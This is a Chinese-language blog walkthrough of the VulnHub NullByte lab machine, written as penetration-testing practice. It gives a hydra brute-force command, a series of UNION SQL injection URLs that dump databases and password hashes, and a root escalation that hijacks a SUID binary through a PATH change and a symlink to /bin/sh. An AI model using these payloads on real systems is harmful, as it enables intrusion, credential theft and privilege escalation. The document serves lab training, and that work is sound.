Vuln靶机NullByte

靶机下载链接:https://www.vulnhub.com/entry/nullbyte-1,126/

主机发现

image-20250213175615134

利用nmap进行端口扫描,发现ssh端口被放到了777端口,这里需要注意一下,后面使用ssh连接的时候需要使用 -p 777

image-20250213175713061

80端口

image-20250213175813172

经过目录扫描,发现了一个phpmyadmin数据库管理工具,并使用了sql注入,弱口令等测试,均没有效果

image-20250213175854823

直到下载了主页的这个main.gif文件,得到一个密文kzMb5nVYJw可能是phpmyadmin的root密码

image-20250213022045302

去登录phpmyadmin试试(失败),那么就切换思路,既然是在web上,那么还有可能和目录相关

image-20250213022420510

查看源码,说这个表单没有连接mysql数据库,密码也很简单,说明可以直接爆破了

image-20250213022514445

本着oscp考试不能使用burp专业版,那么就用hydra进行爆破,参数如下

hydra -l admin -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.205 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -f

参数解析:

-l 表示指定一个用户进行爆破(在这里没有实际意义),-P指定一个密码字典

-t 指定爆破的线程数量

-vV 表示显示爆破的过程

http-post-form 表示以表单的形式进行爆破

^PASS^ 表示在这个指定的字典中,所有单个密码的一个变量

invalid key 表示排除字段,即出现哪些字符表示失败

image-20250213132148491

输入这个密码后,就能进入一个搜索框框页面elite

image-20250213132302214

sql注入利用,一下子全部数据都出来了,说明存在sql注入漏洞

http://10.10.10.205/kzMb5nVYJw/420search.php?usrtosearch=a" or 1=1 -- +

image-20250213140025847

那么接下俩判断列,sql语句报错了,说明不存在5列

a" order by 5 --+

image-20250213135956349

但是奇怪的是,没有数据回显

a" order by 3 --+

image-20250213140305923

这里需要仔细琢磨下,发现只能使用对应的用户名作为参数

isis" order by 3 --+

image-20250213140332127

联合注入测试,这个时候就多了一条数据,前面的isis用户的数据也存在

isis" union select 1,2,3 --+

image-20250213140437578

暴库

http://10.10.10.205/kzMb5nVYJw/420search.php?usrtosearch=isis" union select 1,group_concat(schema_name),3 from information_schema.schemata --+

发现了两个可能利用的数据库phpmyadmin,seth,由于phpmyadmin是直接连接的mysql服务器,所以不存放mysql密码,可以跳过,所以我们接下来就需要对seth数据库进行枚举

seth表,敏感表users

http://10.10.10.205/kzMb5nVYJw/420search.php?usrtosearch=isis" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="seth" --+

users字段

http://10.10.10.205/kzMb5nVYJw/420search.php?usrtosearch=isis" union select 1,group_concat(column_name),3 from information_schema.columns 
where table_schema="phpmyadmin" and table_name="pma__users" --+

image-20250213154807482

users数据

http://10.10.10.205/kzMb5nVYJw/420search.php?usrtosearch=isis" union select 1,group_concat(id,'-',user,'-',pass),3 from users --+

image-20250213154915862

看样子是 一个base64的编码,解密看看,是一个hash,c6d6bd7ebf806f43c76acc3681703b81

image-20250213154946825

利用hash识别工具识别解密的结果为md5

image-20250213155019036

ramses用户的密码为omega

image-20250213155151719

连接ssh(phpmyadmin密码试过了登录失败)

image-20250213155335335

查找SUID文件,发现了一个procwatch文件

image-20250213162549082

切换到这个目录下面,还发现了一个readme.txt, 我必须要搞定这一坨混乱。不知道在说啥,执行一下这个suid文件,发现还执行了两个命令,sh应该和shell相关,也就是/bin/sh,ps和进程相关,这个时候我们的提权思路就是将提权的代码写入procwatch的相关文件中,而这个操作与sh和ps相关,这样在执行procwatch的时候,由于他具有suid权限,就可以以root身份运行,从而触发提权

image-20250213162652173

这里提权的方法呢就是利用软链接+修改环境变量的方式进行提权

完整命令如下

ramses@NullByte:/var/www/backup$ ln -s /bin/sh ps # 将/bin/sh链接到 ps 这个命令,这样我们执行当前目录下面的 ps 命令(文件)的时候,就会调用/bin/sh创建一个shell
ramses@NullByte:/var/www/backup$ ls # 此时就发现多了一个文件ps
procwatch  ps  readme.txt
ramses@NullByte:/var/www/backup$ export PATH=.:$PATH # 添加当前目录为环境变量,这个.代表当前目录,放在前面表示环境变量会以前后顺序,依次读取环境变量,放在前面是为了提高当前目录为环境变量的优先级
ramses@NullByte:/var/www/backup$ echo $PATH
.:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
ramses@NullByte:/var/www/backup$ ./procwatch  # 此时执行这个文件,就能创建一个shell,而它是suid文件。执行它的时候是以root的身份执行的,所以创建的shell就是root身份的shell。
# whoami
root
# cd /root
# cat proof.txt
adf11c7a9e6523e630aaf3b9b7acb51d

It seems that you have pwned the box, congrats.
Now you done that I wanna talk with you. Write a walk & mail at
xly0n@sigaint.org attach the walk and proof.txt
If sigaint.org is down you may mail at nbsly0n@gmail.com

USE THIS PGP PUBLIC KEY

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: BCPG C# v1.6.1.0

mQENBFW9BX8BCACVNFJtV4KeFa/TgJZgNefJQ+fD1+LNEGnv5rw3uSV+jWigpxrJ
Q3tO375S1KRrYxhHjEh0HKwTBCIopIcRFFRy1Qg9uW7cxYnTlDTp9QERuQ7hQOFT
e4QU3gZPd/VibPhzbJC/pdbDpuxqU8iKxqQr0VmTX6wIGwN8GlrnKr1/xhSRTprq
Cu7OyNC8+HKu/NpJ7j8mxDTLrvoD+hD21usssThXgZJ5a31iMWj4i0WUEKFN22KK
+z9pmlOJ5Xfhc2xx+WHtST53Ewk8D+Hjn+mh4s9/pjppdpMFUhr1poXPsI2HTWNe
YcvzcQHwzXj6hvtcXlJj+yzM2iEuRdIJ1r41ABEBAAG0EW5ic2x5MG5AZ21haWwu
Y29tiQEcBBABAgAGBQJVvQV/AAoJENDZ4VE7RHERJVkH/RUeh6qn116Lf5mAScNS
HhWTUulxIllPmnOPxB9/yk0j6fvWE9dDtcS9eFgKCthUQts7OFPhc3ilbYA2Fz7q
m7iAe97aW8pz3AeD6f6MX53Un70B3Z8yJFQbdusbQa1+MI2CCJL44Q/J5654vIGn
XQk6Oc7xWEgxLH+IjNQgh6V+MTce8fOp2SEVPcMZZuz2+XI9nrCV1dfAcwJJyF58
kjxYRRryD57olIyb9GsQgZkvPjHCg5JMdzQqOBoJZFPw/nNCEwQexWrgW7bqL/N8
TM2C0X57+ok7eqj8gUEuX/6FxBtYPpqUIaRT9kdeJPYHsiLJlZcXM0HZrPVvt1HU
Gms=
=PiAQ
-----END PGP PUBLIC KEY BLOCK-----

至此提权成功,这个靶机有很多种可以getshell的方法,比如利用sql注入写入一句话木马,读取mysql配置文件获取密码信息,然后登录phpmyadmin,也能获取ramses用户的密码信息,当然写可以不写一句话木马,直接写反弹shell的php也可以,详细请参考如下文章,写的非常棒

https://blog.csdn.net/Bossfrank/article/details/131880155

往期推荐

红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学

Linux 32位Crossfire游戏缓冲区溢出

独立开发零显卡AI引擎!媲美DeepSeek,附源码

【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了

神器分享 红队快速打点工具-DarKnuclei

从零开始学SQL注入(sql十大注入类型):技术解析与实战演练

【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏

【渗透测试】12种rbash逃逸方式总结

利用MySQL特性,WAF绕过技巧

SQL注入绕过某狗的waf防火墙,这一篇就够了,6k文案超详细

本站内容部分转载于互联网,并不代表本站立场!如若本站内容侵犯了原著者的合法权益,可联系我们进行处理! 拒绝任何人以任何形式在本站发表与中华人民共和国法律相抵触的言论!
THE END
喜欢就支持一下吧
点赞14 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容